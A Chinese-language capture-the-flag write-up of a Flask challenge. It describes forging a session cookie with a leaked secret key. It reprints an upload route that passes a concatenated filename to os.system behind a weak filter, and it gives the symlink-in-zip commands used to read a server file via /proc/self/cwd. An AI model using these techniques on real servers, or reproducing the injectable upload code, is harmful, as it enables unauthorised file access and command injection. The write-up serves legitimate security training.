有个登录页,随便叫个名就可以登录,进来以后有个上传页,但是没有权限
注意到题目的标题叫 flask_demo,根据做题的经验,这里的权限判断可能就在 session,所以看了一下确实是这么回事
{'id': b'100', 'is_login': True, 'password': 'admin', 'username': 'admin'}
所以下面要做的就是伪造session了,最高权限用户的 id应该是 1,然后就是还要找到加密秘钥
这个秘钥我是在 bp里看到的,也就是当访问不存在的页面时就会返回,藏得真深
SECRET_KEY:keyqqqwwweee!@#$%^&*
给了源码
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')
@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"
简单分析一下
也简单,就是只能上传 zip文件,然后由服务器那边解压,然后检查是不是图片格式,最后会把上传后结果返回
可是怎么和 下面的 /showflag 路由建立联系,没想到方法看了下做法,只能说师傅们太神了
可以利用软链接的方式指向 /flag/flag.jpg,软链接在 win相当于快捷方式,/proc/{id}/cwd指的是某个进程运行时所在的目录
ln -s /proc/self/cwd/flag/flag.jpg test
zip -ry test.zip test